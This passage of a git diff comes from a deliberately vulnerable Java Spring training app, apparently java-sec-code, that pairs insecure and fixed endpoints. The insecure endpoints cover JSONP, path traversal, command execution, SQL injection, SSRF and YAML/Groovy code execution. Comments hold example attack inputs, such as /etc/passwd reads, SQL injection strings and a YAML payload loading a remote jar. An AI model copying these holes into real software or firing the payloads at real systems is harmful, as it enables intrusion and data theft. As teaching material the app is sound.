if (StringUtils.isNotBlank(ip)) {
return ip;
- }else {
+ } else {
String remoteAddr = request.getRemoteAddr();
if (StringUtils.isNotBlank(remoteAddr)) {
return remoteAddr;
diff --git a/src/main/java/org/joychou/controller/Index.java b/src/main/java/org/joychou/controller/Index.java
index a8ebd2ab..df922e7d 100644
--- a/src/main/java/org/joychou/controller/Index.java
+++ b/src/main/java/org/joychou/controller/Index.java
@@ -2,31 +2,51 @@
import com.alibaba.fastjson.JSON;
+import org.apache.catalina.util.ServerInfo;
import org.springframework.stereotype.Controller;
+import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
+import javax.servlet.http.HttpServletRequest;
import java.util.HashMap;
import java.util.Map;
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2018.05.28
- * @desc: Index Page
+ * Index page
+ *
+ * @author JoyChou @2018-05-28
*/
-
@Controller
public class Index {
- @RequestMapping("/")
+
+ @RequestMapping("/appInfo")
@ResponseBody
- public static String index() {
- Map m = new HashMap();
- m.put("app_name", "java_vul_code");
+ public static String appInfo(HttpServletRequest request) {
+ String username = request.getUserPrincipal().getName();
+ Map m = new HashMap<>();
+
+ m.put("tomcat_version", ServerInfo.getServerInfo());
+ m.put("username", username);
+ m.put("login", "success");
+ m.put("app_name", "java security code");
m.put("java_version", System.getProperty("java.version"));
m.put("fastjson_version", JSON.VERSION);
// covert map to string
return JSON.toJSONString(m);
}
+
+ @RequestMapping("/")
+ public String redirect() {
+ return "redirect:/index";
+ }
+
+ @RequestMapping("/index")
+ public static String index(Model model, HttpServletRequest request) {
+ String username = request.getUserPrincipal().getName();
+ model.addAttribute("user", username);
+ return "index";
+ }
}
diff --git a/src/main/java/org/joychou/controller/JSONP.java b/src/main/java/org/joychou/controller/JSONP.java
deleted file mode 100644
index 6913e903..00000000
--- a/src/main/java/org/joychou/controller/JSONP.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package org.joychou.controller;
-
-import org.joychou.utils.Security;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.*;
-import javax.servlet.http.HttpServletRequest;
-import javax.servlet.http.HttpServletResponse;
-
-
-/**
- * @author JoyChou
- * @date 2018年10月24日
- */
-
-@Controller
-@RequestMapping("/jsonp")
-public class JSONP {
-
- protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
- protected static String[] urlwhitelist = {"joychou.com", "joychou.me"};
-
-
- // http://localhost:8080/jsonp/referer?callback=test
- @RequestMapping("/referer")
- @ResponseBody
- private static String referer(HttpServletRequest request, HttpServletResponse response) {
- // JSONP的跨域设置
- response.setHeader("Access-Control-Allow-Origin", "*");
- String callback = request.getParameter("callback");
- return callback + "(" + info + ")";
- }
-
-
- // http://localhost:8080/jsonp/sec?callback=test
- @RequestMapping("/sec")
- @ResponseBody
- private static String sec(HttpServletRequest request, HttpServletResponse response) {
- // JSONP的跨域设置
- response.setHeader("Access-Control-Allow-Origin", "*");
- String referer = request.getHeader("referer");
- Security sec = new Security();
- if (!sec.checkSafeUrl(referer, urlwhitelist)) {
- return "Referer is not safe.";
- }
- String callback = request.getParameter("callback");
- return callback + "(" + info + ")";
- }
-
-
-}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Jsonp.java b/src/main/java/org/joychou/controller/Jsonp.java
new file mode 100644
index 00000000..2ab0dcef
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Jsonp.java
@@ -0,0 +1,142 @@
+package org.joychou.controller;
+
+import com.alibaba.fastjson.JSON;
+import com.alibaba.fastjson.JSONObject;
+
+import com.alibaba.fastjson.JSONPObject;
+import lombok.extern.slf4j.Slf4j;
+import org.apache.commons.lang.StringUtils;
+import org.joychou.security.SecurityUtil;
+import org.joychou.util.LoginUtils;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.http.MediaType;
+import org.springframework.security.web.csrf.CookieCsrfTokenRepository;
+import org.springframework.security.web.csrf.CsrfToken;
+import org.springframework.web.bind.annotation.*;
+import org.springframework.web.servlet.ModelAndView;
+import org.springframework.web.servlet.view.json.MappingJackson2JsonView;
+import org.joychou.config.WebConfig;
+import org.joychou.util.WebUtils;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+import java.security.Principal;
+
+
+/**
+ * @author JoyChou (joychou@joychou.org) @ 2018.10.24
+ * https://github.com/JoyChou93/java-sec-code/wiki/JSONP
+ */
+
+@Slf4j
+@RestController
+@RequestMapping("/jsonp")
+public class Jsonp {
+
+ private String callback = WebConfig.getBusinessCallback();
+
+ @Autowired
+ CookieCsrfTokenRepository cookieCsrfTokenRepository;
+ /**
+ * Set the response content-type to application/javascript.
+ *
+ * http://localhost:8080/jsonp/vuln/referer?callback_=test
+ */
+ @RequestMapping(value = "/vuln/referer", produces = "application/javascript")
+ public String referer(HttpServletRequest request) {
+ String callback = request.getParameter(this.callback);
+ return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
+ }
+
+ /**
+ * Direct access does not check Referer, non-direct access check referer.
+ * Developer like to do jsonp testing like this.
+ *
+ * http://localhost:8080/jsonp/vuln/emptyReferer?callback_=test
+ */
+ @RequestMapping(value = "/vuln/emptyReferer", produces = "application/javascript")
+ public String emptyReferer(HttpServletRequest request) {
+ String referer = request.getHeader("referer");
+
+ if (null != referer && SecurityUtil.checkURL(referer) == null) {
+ return "error";
+ }
+ String callback = request.getParameter(this.callback);
+ return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
+ }
+
+ /**
+ * Adding callback or _callback on parameter can automatically return jsonp data.
+ * http://localhost:8080/jsonp/object2jsonp?callback=test
+ * http://localhost:8080/jsonp/object2jsonp?_callback=test
+ *
+ * @return Only return object, AbstractJsonpResponseBodyAdvice can be used successfully.
+ * Such as JSONOjbect or JavaBean. String type cannot be used.
+ */
+ @RequestMapping(value = "/object2jsonp", produces = MediaType.APPLICATION_JSON_VALUE)
+ public JSONObject advice(HttpServletRequest request) {
+ return JSON.parseObject(LoginUtils.getUserInfo2JsonStr(request));
+ }
+
+
+ /**
+ * http://localhost:8080/jsonp/vuln/mappingJackson2JsonView?callback=test
+ * Reference: https://p0sec.net/index.php/archives/122/ from p0
+ * Affected version: java-sec-code test case version: 4.3.6
+ * - Spring Framework 5.0 to 5.0.6
+ * - Spring Framework 4.1 to 4.3.17
+ */
+ @RequestMapping(value = "/vuln/mappingJackson2JsonView", produces = MediaType.APPLICATION_JSON_VALUE)
+ public ModelAndView mappingJackson2JsonView(HttpServletRequest req) {
+ ModelAndView view = new ModelAndView(new MappingJackson2JsonView());
+ Principal principal = req.getUserPrincipal();
+ view.addObject("username", principal.getName());
+ return view;
+ }
+
+
+ /**
+ * Safe code.
+ * http://localhost:8080/jsonp/sec?callback_=test
+ */
+ @RequestMapping(value = "/sec/checkReferer", produces = "application/javascript")
+ public String safecode(HttpServletRequest request) {
+ String referer = request.getHeader("referer");
+
+ if (SecurityUtil.checkURL(referer) == null) {
+ return "error";
+ }
+ String callback = request.getParameter(this.callback);
+ return WebUtils.json2Jsonp(callback, LoginUtils.getUserInfo2JsonStr(request));
+ }
+
+ /**
+ * http://localhost:8080/jsonp/getToken?fastjsonpCallback=aa
+ *
+ * object to jsonp
+ */
+ @GetMapping("/getToken")
+ public CsrfToken getCsrfToken1(CsrfToken token) {
+ return token;
+ }
+
+ /**
+ * http://localhost:8080/jsonp/fastjsonp/getToken?fastjsonpCallback=aa
+ *
+ * fastjsonp to jsonp
+ */
+ @GetMapping(value = "/fastjsonp/getToken", produces = "application/javascript")
+ public String getCsrfToken2(HttpServletRequest request) {
+ CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token
+
+ String callback = request.getParameter("fastjsonpCallback");
+ if (StringUtils.isNotBlank(callback)) {
+ JSONPObject jsonpObj = new JSONPObject(callback);
+ jsonpObj.addParameter(csrfToken);
+ return jsonpObj.toString();
+ } else {
+ return csrfToken.toString();
+ }
+ }
+
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Login.java b/src/main/java/org/joychou/controller/Login.java
new file mode 100644
index 00000000..16769e4a
--- /dev/null
+++ b/src/main/java/org/joychou/controller/Login.java
@@ -0,0 +1,54 @@
+package org.joychou.controller;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.security.core.Authentication;
+import org.springframework.security.core.context.SecurityContextHolder;
+import org.springframework.security.web.authentication.logout.SecurityContextLogoutHandler;
+import org.springframework.stereotype.Controller;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RequestMapping;
+
+import javax.servlet.http.Cookie;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+@Controller
+public class Login {
+
+ protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ @RequestMapping("/login")
+ public String login() {
+ return "login";
+ }
+
+ @GetMapping("/logout")
+ public String logoutPage(HttpServletRequest request, HttpServletResponse response) {
+
+ String username = request.getUserPrincipal().getName();
+
+ Authentication auth = SecurityContextHolder.getContext().getAuthentication();
+ if (auth != null) {
+ new SecurityContextLogoutHandler().logout(request, response, auth);
+ }
+
+ String[] deleteCookieKey = {"JSESSIONID", "remember-me"}; // delete cookie
+ for (String key : deleteCookieKey) {
+ Cookie cookie = new Cookie(key, null);
+ cookie.setMaxAge(0);
+ cookie.setPath("/");
+ response.addCookie(cookie);
+ }
+
+ if (null == request.getUserPrincipal()) {
+ logger.info("USER " + username + " LOGOUT SUCCESS.");
+ } else {
+ logger.info("User " + username + " logout failed. Please try again.");
+ }
+
+ return "redirect:/login?logout";
+ }
+
+}
diff --git a/src/main/java/org/joychou/controller/PathTraversal.java b/src/main/java/org/joychou/controller/PathTraversal.java
new file mode 100644
index 00000000..1976b01b
--- /dev/null
+++ b/src/main/java/org/joychou/controller/PathTraversal.java
@@ -0,0 +1,56 @@
+package org.joychou.controller;
+
+import org.apache.commons.codec.binary.Base64;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.GetMapping;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.io.File;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Paths;
+
+@RestController
+public class PathTraversal {
+
+ protected final Logger logger = LoggerFactory.getLogger(this.getClass());
+
+ /**
+ * http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd
+ */
+ @GetMapping("/path_traversal/vul")
+ public String getImage(String filepath) throws IOException {
+ return getImgBase64(filepath);
+ }
+
+ @GetMapping("/path_traversal/sec")
+ public String getImageSec(String filepath) throws IOException {
+ if (SecurityUtil.pathFilter(filepath) == null) {
+ logger.info("Illegal file path: " + filepath);
+ return "Bad boy. Illegal file path.";
+ }
+ return getImgBase64(filepath);
+ }
+
+ private String getImgBase64(String imgFile) throws IOException {
+
+ logger.info("Working directory: " + System.getProperty("user.dir"));
+ logger.info("File path: " + imgFile);
+
+ File f = new File(imgFile);
+ if (f.exists() && !f.isDirectory()) {
+ byte[] data = Files.readAllBytes(Paths.get(imgFile));
+ return new String(Base64.encodeBase64(data));
+ } else {
+ return "File doesn't exist or is not a file.";
+ }
+ }
+
+ public static void main(String[] argv) throws IOException {
+ String aa = new String(Files.readAllBytes(Paths.get("pom.xml")), StandardCharsets.UTF_8);
+ System.out.println(aa);
+ }
+}
\ No newline at end of file
diff --git a/src/main/java/org/joychou/controller/Rce.java b/src/main/java/org/joychou/controller/Rce.java
index 8583d2db..6d6a3417 100644
--- a/src/main/java/org/joychou/controller/Rce.java
+++ b/src/main/java/org/joychou/controller/Rce.java
@@ -1,31 +1,34 @@
package org.joychou.controller;
-import org.springframework.stereotype.Controller;
+import groovy.lang.GroovyShell;
+import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+import org.yaml.snakeyaml.Yaml;
+import org.yaml.snakeyaml.constructor.SafeConstructor;
-import javax.servlet.http.HttpServletRequest;
+import javax.script.Bindings;
+import javax.script.ScriptContext;
+import javax.script.ScriptEngine;
+import javax.script.ScriptEngineManager;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
+
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2018.05.24
- * @desc: java xxe vuls code
- * @fix: 过滤造成命令执行的参数
+ * Java code execute
+ *
+ * @author JoyChou @ 2018-05-24
*/
-
-@Controller
+@RestController
@RequestMapping("/rce")
public class Rce {
- @RequestMapping("/exec")
- @ResponseBody
- public String CommandExec(HttpServletRequest request) {
- String cmd = request.getParameter("cmd").toString();
+ @GetMapping("/runtime/exec")
+ public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
- String lineStr = "";
+ StringBuilder sb = new StringBuilder();
try {
Process p = run.exec(cmd);
@@ -34,22 +37,96 @@ public String CommandExec(HttpServletRequest request) {
String tmpStr;
while ((tmpStr = inBr.readLine()) != null) {
- lineStr += tmpStr + "\n";
- System.out.println(tmpStr);
+ sb.append(tmpStr);
}
if (p.waitFor() != 0) {
if (p.exitValue() == 1)
- return "command exec failed";
+ return "Command exec failed!!";
}
inBr.close();
in.close();
} catch (Exception e) {
- e.printStackTrace();
- return "Except";
+ return e.toString();
+ }
+ return sb.toString();
+ }
+
+
+ /**
+ * http://localhost:8080/rce/ProcessBuilder?cmd=whoami
+ * @param cmd cmd
+ */
+ @GetMapping("/ProcessBuilder")
+ public String processBuilder(String cmd) {
+
+ StringBuilder sb = new StringBuilder();
+
+ try {
+ String[] arrCmd = {"/bin/sh", "-c", cmd};
+ ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
+ Process p = processBuilder.start();
+ BufferedInputStream in = new BufferedInputStream(p.getInputStream());
+ BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
+ String tmpStr;
+
+ while ((tmpStr = inBr.readLine()) != null) {
+ sb.append(tmpStr);
+ }
+ } catch (Exception e) {
+ return e.toString();
}
- return lineStr;
+
+ return sb.toString();
+ }
+
+
+ /**
+ * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
+ *
+ * curl http://xx.yy/zz.js
+ * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
+ *
+ * @param jsurl js url
+ */
+ @GetMapping("/jscmd")
+ public void jsEngine(String jsurl) throws Exception{
+ // js nashorn javascript ecmascript
+ ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
+ Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);
+ String cmd = String.format("load(\"%s\")", jsurl);
+ engine.eval(cmd, bindings);
+ }
+
+
+ /**
+ * http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://test.joychou.org:8086/yaml-payload.jar%22]]]]
+ * yaml-payload.jar: https://github.com/artsploit/yaml-payload
+ *
+ * @param content payloads
+ */
+ @GetMapping("/vuln/yarm")
+ public void yarm(String content) {
+ Yaml y = new Yaml();
+ y.load(content);
+ }
+
+ @GetMapping("/sec/yarm")
+ public void secYarm(String content) {
+ Yaml y = new Yaml(new SafeConstructor());
+ y.load(content);
}
+
+ /**
+ * http://localhost:8080/rce/groovy?content="open -a Calculator".execute()
+ * @param content groovy shell
+ */
+ @GetMapping("groovy")
+ public void groovyshell(String content) {
+ GroovyShell groovyShell = new GroovyShell();
+ groovyShell.evaluate(content);
+ }
+
}
diff --git a/src/main/java/org/joychou/controller/SQLI.java b/src/main/java/org/joychou/controller/SQLI.java
index 532c82ef..7ea518a5 100644
--- a/src/main/java/org/joychou/controller/SQLI.java
+++ b/src/main/java/org/joychou/controller/SQLI.java
@@ -1,80 +1,198 @@
package org.joychou.controller;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
+import org.joychou.mapper.UserMapper;
+import org.joychou.dao.User;
+import org.joychou.security.SecurityUtil;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.beans.factory.annotation.Value;
+import org.springframework.web.bind.annotation.*;
-import javax.servlet.http.HttpServletRequest;
import java.sql.*;
+import java.util.List;
/**
- * Date:2018年08月22日
- * Author: JoyChou
- * Desc: SQL注入漏洞
+ * SQL Injection
+ *
+ * @author JoyChou @2018.08.22
*/
-@Controller
+@SuppressWarnings("Duplicates")
+@RestController
@RequestMapping("/sqli")
public class SQLI {
- @RequestMapping("/jdbc")
- @ResponseBody
- public static String jdbc_sqli(HttpServletRequest request){
+ private static Logger logger = LoggerFactory.getLogger(SQLI.class);
+ private static String driver = "com.mysql.jdbc.Driver";
+
+ @Value("${spring.datasource.url}")
+ private String url;
+
+ @Value("${spring.datasource.username}")
+ private String user;
+
+ @Value("${spring.datasource.password}")
+ private String password;
+
+ @Autowired
+ private UserMapper userMapper;
+
+
+ /**
+ * Vuln Code.
+ * http://localhost:8080/sqli/jdbc/vul?username=joychou
+ *
+ * @param username username
+ */
+ @RequestMapping("/jdbc/vuln")
+ public String jdbc_sqli_vul(@RequestParam("username") String username) {
+
+ StringBuilder result = new StringBuilder();
- String name = request.getParameter("name");
- String driver = "com.mysql.jdbc.Driver";
- String url = "jdbc:mysql://localhost:3306/sectest";
- String user = "root";
- String password = "woshishujukumima";
- String result = "";
try {
Class.forName(driver);
- Connection con = DriverManager.getConnection(url,user,password);
+ Connection con = DriverManager.getConnection(url, user, password);
+
+ if (!con.isClosed())
+ System.out.println("Connect to database successfully.");
+
+ // sqli vuln code
+ Statement statement = con.createStatement();
+ String sql = "select * from users where username = '" + username + "'";
+ logger.info(sql);
+ ResultSet rs = statement.executeQuery(sql);
+
+ while (rs.next()) {
+ String res_name = rs.getString("username");
+ String res_pwd = rs.getString("password");
+ String info = String.format("%s: %s\n", res_name, res_pwd);
+ result.append(info);
+ logger.info(info);
+ }
+ rs.close();
+ con.close();
- if(!con.isClosed())
- System.out.println("Connecting to Database successfully.");
- // sqli vuln code 漏洞代码
- Statement statement = con.createStatement();
- String sql = "select * from users where name = '" + name + "'";
- System.out.println(sql);
- ResultSet rs = statement.executeQuery(sql);
+ } catch (ClassNotFoundException e) {
+ logger.error("Sorry,can`t find the Driver!");
+ } catch (SQLException e) {
+ logger.error(e.toString());
+ }
+ return result.toString();
+ }
- // fix code 用预处理修复SQL注入
-// String sql = "select * from users where name = ?";
-// PreparedStatement st = con.prepareStatement(sql);
-// st.setString(1, name);
-// System.out.println(st.toString()); // 预处理后的sql
-// ResultSet rs = st.executeQuery();
- System.out.println("-----------------");
+ /**
+ * Security Code.
+ * http://localhost:8080/sqli/jdbc/sec?username=joychou
+ *
+ * @param username username
+ */
+ @RequestMapping("/jdbc/sec")
+ public String jdbc_sqli_sec(@RequestParam("username") String username) {
- while(rs.next()){
- String res_name = rs.getString("name");
- String res_pwd = rs.getString("password");
- result += res_name + ": " + res_pwd + "\n";
- System.out.println(res_name + ": " + res_pwd);
+ StringBuilder result = new StringBuilder();
+ try {
+ Class.forName(driver);
+ Connection con = DriverManager.getConnection(url, user, password);
+
+ if (!con.isClosed())
+ System.out.println("Connecting to Database successfully.");
+
+ // fix code
+ String sql = "select * from users where username = ?";
+ PreparedStatement st = con.prepareStatement(sql);
+ st.setString(1, username);
+
+ logger.info(st.toString()); // sql after prepare statement
+ ResultSet rs = st.executeQuery();
+ while (rs.next()) {
+ String res_name = rs.getString("username");
+ String res_pwd = rs.getString("password");
+ String info = String.format("%s: %s\n", res_name, res_pwd);
+ result.append(info);
+ logger.info(info);
}
+
rs.close();
con.close();
-
- }catch (ClassNotFoundException e) {
- System.out.println("Sorry,can`t find the Driver!");
+ } catch (ClassNotFoundException e) {
+ logger.error("Sorry, can`t find the Driver!");
e.printStackTrace();
- }catch (SQLException e) {
- e.printStackTrace();
- }catch (Exception e) {
- e.printStackTrace();
-
- }finally{
- System.out.println("-----------------");
- System.out.println("Connect database done.");
+ } catch (SQLException e) {
+ logger.error(e.toString());
}
- return result;
+ return result.toString();
+ }
+
+ /**
+ * vuln code
+ * http://localhost:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1
+ *
+ * @param username username
+ */
+ @GetMapping("/mybatis/vuln01")
+ public List mybatisVuln01(@RequestParam("username") String username) {
+ return userMapper.findByUserNameVuln01(username);
+ }
+
+ /**
+ * vul code
+ * http://localhost:8080/sqli/mybatis/vuln02?username=joychou' or '1'='1' %23
+ *
+ * @param username username
+ */
+ @GetMapping("/mybatis/vuln02")
+ public List mybatisVuln02(@RequestParam("username") String username) {
+ return userMapper.findByUserNameVuln02(username);
+ }
+
+ // http://localhost:8080/sqli/mybatis/orderby/vuln03?sort=1 desc%23
+ @GetMapping("/mybatis/orderby/vuln03")
+ public List mybatisVuln03(@RequestParam("sort") String sort) {
+ return userMapper.findByUserNameVuln03(sort);
+ }
+
+
+ /**
+ * security code
+ * http://localhost:8080/sqli/mybatis/sec01?username=joychou
+ *
+ * @param username username
+ */
+ @GetMapping("/mybatis/sec01")
+ public User mybatisSec01(@RequestParam("username") String username) {
+ return userMapper.findByUserName(username);
+ }
+
+ /**
+ * http://localhost:8080/sqli/mybatis/sec02?id=1
+ *
+ * @param id id
+ */
+ @GetMapping("/mybatis/sec02")
+ public User mybatisSec02(@RequestParam("id") Integer id) {
+ return userMapper.findById(id);
+ }
+
+
+ /**
+ * http://localhost:8080/sqli/mybatis/sec03
+ */
+ @GetMapping("/mybatis/sec03")
+ public User mybatisSec03() {
+ return userMapper.OrderByUsername();
+ }
+
+
+ @GetMapping("/mybatis/orderby/sec04")
+ public List mybatisOrderBySec04(@RequestParam("sort") String sort) {
+ return userMapper.findByUserNameVuln03(SecurityUtil.sqlFilter(sort));
}
}
diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java
index d3d54c33..8645fd13 100644
--- a/src/main/java/org/joychou/controller/SSRF.java
+++ b/src/main/java/org/joychou/controller/SSRF.java
@@ -1,109 +1,114 @@
package org.joychou.controller;
-import com.google.common.io.Files;
-import com.squareup.okhttp.OkHttpClient;
-import org.apache.http.HttpResponse;
-import org.apache.http.client.fluent.Request;
-import org.apache.http.client.methods.HttpGet;
-import org.apache.http.impl.client.CloseableHttpClient;
-import org.apache.http.impl.client.HttpClients;
-import org.springframework.stereotype.Controller;
-import org.springframework.web.bind.annotation.RequestMapping;
-import org.springframework.web.bind.annotation.ResponseBody;
-
-
-import javax.imageio.ImageIO;
-import javax.servlet.http.HttpServletRequest;
+import org.joychou.security.SecurityUtil;
+import org.joychou.security.ssrf.SSRFException;
+import org.joychou.util.HttpUtils;
+import org.joychou.util.WebUtils;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.springframework.web.bind.annotation.*;
+
import javax.servlet.http.HttpServletResponse;
import java.io.*;
-import java.net.URL;
-import java.net.URLConnection;
-import java.net.HttpURLConnection;
+import java.net.*;
/**
- * @author: JoyChou (joychou@joychou.org)
- * @date: 2017.12.28
- * @desc: java ssrf vuls code
- * @fix: https://github.com/JoyChou93/trident/blob/master/src/main/java/SSRF.java
+ * Java SSRF vuln or security code.
+ *
+ * @author JoyChou @2017-12-28
*/
-
-@Controller
+@RestController
@RequestMapping("/ssrf")
public class SSRF {
- @RequestMapping("/urlConnection")
- @ResponseBody
- public static String ssrf_URLConnection(HttpServletRequest request)
- {
- try {
- String url = request.getParameter("url");
- URL u = new URL(url);
- URLConnection urlConnection = u.openConnection();
- BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
- String inputLine;
- StringBuffer html = new StringBuffer();
+ private static Logger logger = LoggerFactory.getLogger(SSRF.class);
- while ((inputLine = in.readLine()) != null) {
- html.append(inputLine);
- }
- in.close();
- return html.toString();
- }catch(Exception e) {
- e.printStackTrace();
- return "fail";
+
+ /**
+ * http://localhost:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd
+ *
+ * The default setting of followRedirects is true.
+ * Protocol: file ftp mailto http https jar netdoc
+ * UserAgent is Java/1.8.0_102.
+ */
+ @RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
+ public String URLConnectionVuln(String url) {
+ return HttpUtils.URLConnection(url);
+ }
+
+
+ @GetMapping("/urlConnection/sec")
+ public String URLConnectionSec(String url) {
+
+ // Decline not http/https protocol
+ if (!SecurityUtil.isHttp(url)) {
+ return "[-] SSRF check failed";
+ }
+
+ try {
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.URLConnection(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
+
}
- @RequestMapping("/HttpURLConnection")
- @ResponseBody
- public static String ssrf_httpURLConnection(HttpServletRequest request)
- {
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ */
+ @GetMapping("/HttpURLConnection/sec")
+ public String httpURLConnection(@RequestParam String url) {
try {
- String url = request.getParameter("url");
- URL u = new URL(url);
- URLConnection urlConnection = u.openConnection();
- HttpURLConnection httpUrl = (HttpURLConnection)urlConnection;
- BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request
- String inputLine;
- StringBuffer html = new StringBuffer();
-
- while ((inputLine = in.readLine()) != null) {
- html.append(inputLine);
- }
- in.close();
- return html.toString();
- }catch(Exception e) {
- e.printStackTrace();
- return "fail";
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.HTTPURLConnection(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
}
- @RequestMapping("/Request")
- @ResponseBody
- public static String ssrf_Request(HttpServletRequest request)
- {
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ *
+ * http://localhost:8080/ssrf/request/sec?url=http://test.joychou.org
+ */
+ @GetMapping("/request/sec")
+ public String request(@RequestParam String url) {
try {
- String url = request.getParameter("url");
- return Request.Get(url).execute().returnContent().toString();
- }catch(Exception e) {
- e.printStackTrace();
- return "fail";
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.request(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
}
- @RequestMapping("/openStream")
- @ResponseBody
- public static void ssrf_openStream (HttpServletRequest request, HttpServletResponse response) throws IOException {
+ /**
+ * Download the url file.
+ * http://localhost:8080/ssrf/openStream?url=file:///etc/passwd
+ *
+ * new URL(String url).openConnection()
+ * new URL(String url).openStream()
+ * new URL(String url).getContent()
+ */
+ @GetMapping("/openStream")
+ public void openStream(@RequestParam String url, HttpServletResponse response) throws IOException {
InputStream inputStream = null;
OutputStream outputStream = null;
- String url = request.getParameter("url");
try {
- String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." + Files.getFileExtension(url);
+ String downLoadImgFileName = WebUtils.getNameWithoutExtension(url) + "." + WebUtils.getFileExtension(url);
// download
response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);
@@ -116,62 +121,144 @@ public static void ssrf_openStream (HttpServletRequest request, HttpServletRespo
outputStream.write(bytes, 0, length);
}
- }catch (Exception e) {
- e.printStackTrace();
- }finally {
+ } catch (Exception e) {
+ logger.error(e.toString());
+ } finally {
if (inputStream != null) {
inputStream.close();
}
if (outputStream != null) {
outputStream.close();
}
+ }
+ }
+
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Java/1.8.0_102.
+ */
+ @GetMapping("/ImageIO/sec")
+ public String ImageIO(@RequestParam String url) {
+ try {
+ SecurityUtil.startSSRFHook();
+ HttpUtils.imageIO(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
+
+ return "ImageIO ssrf test";
}
- @RequestMapping("/ImageIO")
- @ResponseBody
- public static void ssrf_ImageIO(HttpServletRequest request) {
- String url = request.getParameter("url");
+ @GetMapping("/okhttp/sec")
+ public String okhttp(@RequestParam String url) {
+
try {
- URL u = new URL(url);
- ImageIO.read(u); // send request
- } catch (Exception e) {
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.okhttp(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
}
+
}
- @RequestMapping("/okhttp")
- @ResponseBody
- public static void ssrf_okhttp(HttpServletRequest request) throws IOException {
- String url = request.getParameter("url");
- OkHttpClient client = new OkHttpClient();
- com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build();
- client.newCall(ok_http).execute();
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Apache-HttpClient/4.5.12 (Java/1.8.0_102).
+ *
+ * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com
+ */
+ @GetMapping("/httpclient/sec")
+ public String HttpClient(@RequestParam String url) {
+
+ try {
+ SecurityUtil.startSSRFHook();
+ return HttpUtils.httpClient(url);
+ } catch (SSRFException | IOException e) {
+ return e.getMessage();
+ } finally {
+ SecurityUtil.stopSSRFHook();
+ }
+
}
- @RequestMapping("/HttpClient")
- @ResponseBody
- public static String ssrf_HttpClient(HttpServletRequest request) {
+ /**
+ * The default setting of followRedirects is true.
+ * UserAgent is Jakarta Commons-HttpClient/3.1.
+ *
